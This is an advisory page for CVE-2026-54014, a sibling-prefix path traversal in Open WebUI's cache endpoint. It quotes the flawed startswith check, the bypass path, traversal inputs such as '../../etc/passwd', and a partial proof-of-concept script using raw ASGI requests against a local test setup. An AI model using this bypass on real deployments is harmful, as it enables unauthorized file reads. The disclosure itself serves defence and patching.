Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}
Medium4.3CVE-2026-54014 · Published Jun 17, 2026 · updated Jul 20, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| open-webui PyPI | < 0.9.6 | 0.9.6 |
Details and references
## Summary A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator. The root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` , without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation. Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed , limited to sibling-prefix directories. ### Exploitation constraints | Constraint | Detail | |---|---| | Auth required | `get_verified_user` , any user with role `user` or `admin` | | Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) | | Deep traversal | Blocked , `../../etc/passwd` correctly fails the startswith check | | Absolute paths | Blocked , `/etc/passwd` correctly fails | | Client normalization | httpx/browsers normalize `..` client-side , must use raw HTTP or ASGI to deliver payload | ## Vulnerability Details ### Vulnerable function: `serve_cache_file()` ```python # open_webui/main.py, line 2907-2924 @app.get('/cache/{path:path}') async def serve_cache_file(path: str, user=Depends(get_verified_user)): file_path = os.path.abspath(os.path.join(CACHE_DIR, path)) # prevent path traversal if not file_path.startswith(os.path.abspath(CACHE_DIR)): # ← BUG: no trailing os.sep raise HTTPException(status_code=404, detail='File not found') if not os.path.isfile(file_path): raise HTTPException(status_code=404, detail='File not found') return FileResponse(file_path, headers=headers) ``` ### The bypass ```python CACHE_DIR = "/data/cache" # Attacker path: "../cache_sibling/secret.txt" file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt")) # → "/data/cache_sibling/secret.txt" "/data/cache_sibling/secret.txt".startswith("/data/cache") # → True ← BYPASS (because "cache_sibling" starts with "cache") # Correct check would be: "/data/cache_sibling/secret.txt".startswith("/data/cache/") # → False ← BLOCKED ``` ## Proof of Concept ### Environment | Component | Detail | |-----------|--------| | open-webui | 0.9.5 (pip installed) | | Python | 3.11 | | Import | `from open_webui.main import app` (true import, real FastAPI app) | | Method | Raw ASGI request (bypasses httpx client-side `..` normalization) | ### poc.py ```python import asyncio import os import shutil import sys import tempfile TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_") os.environ["DATA_DIR"] = TEMP_DATA os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345" os.environ["WEBUI_AUTH"] = "false" CACHE_DIR = os.path.join(TEMP_DATA, "cache") SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling") os.makedirs(CACHE_DIR, exist_ok=True) os.makedirs(SIBLING_DIR, exist_ok=True) SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR" with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f: f.write(SECRET_CONTENT) with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f: f.write("legitimate_cache_file") from open_webui.main import app from open_webui.utils.auth import get_verified_user class FakeUser: id = "poc" email = "poc@test" role = "user" app.dependency_overrides[get_verified_user] = lambda: FakeUser() async def raw_asgi_get(app, path): """Send a raw ASGI request without client-side path normalization.""" scope = { "type": "http", "method": "GET", "path": path, "query_string": b"", "headers": [(b"host", b"localhost")], "root_path": "", "asgi": {"version": "3.0"}, } response_started = False status_code = None body_parts = []
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-22
- Also known as
- CVE-2026-54014, PYSEC-2026-2736
More Open WebUI advisories
All Open WebUI| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jun 17 | Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar CVE-2026-54006Medium4.3fixed in 0.9.6 | Medium4.3 | 0.9.6 |
| Jun 17 | Open WebUI: Cross-origin postMessage confirmation bypass via action:submit CVE-2026-54007High6.5fixed in 0.9.6 | High6.5 | 0.9.6 |
| Jun 17 | Open WebUI: Redirect-Bypass SSRF in OAuth `_process_picture_url` (incomplete-fix sibling of CVE-2026-45401) CVE-2026-54008High8.5fixed in 0.9.6 | High8.5 | 0.9.6 |
| Jun 17 | Open WebUI: Cross-user file disclosure via /api/chat/completions image_url field CVE-2026-54009Medium6.5fixed in 0.9.6 | Medium6.5 | 0.9.6 |
| Jun 17 | Open WebUI: Forged chat-file link allows cross-user file read and deletion CVE-2026-54010High8.3fixed in 0.9.6 | High8.3 | 0.9.6 |
| Jun 17 | Open WebUI: Stored XSS in Mermaid Markdown Preview CVE-2026-54011High8.7fixed in 0.9.6 | High8.7 | 0.9.6 |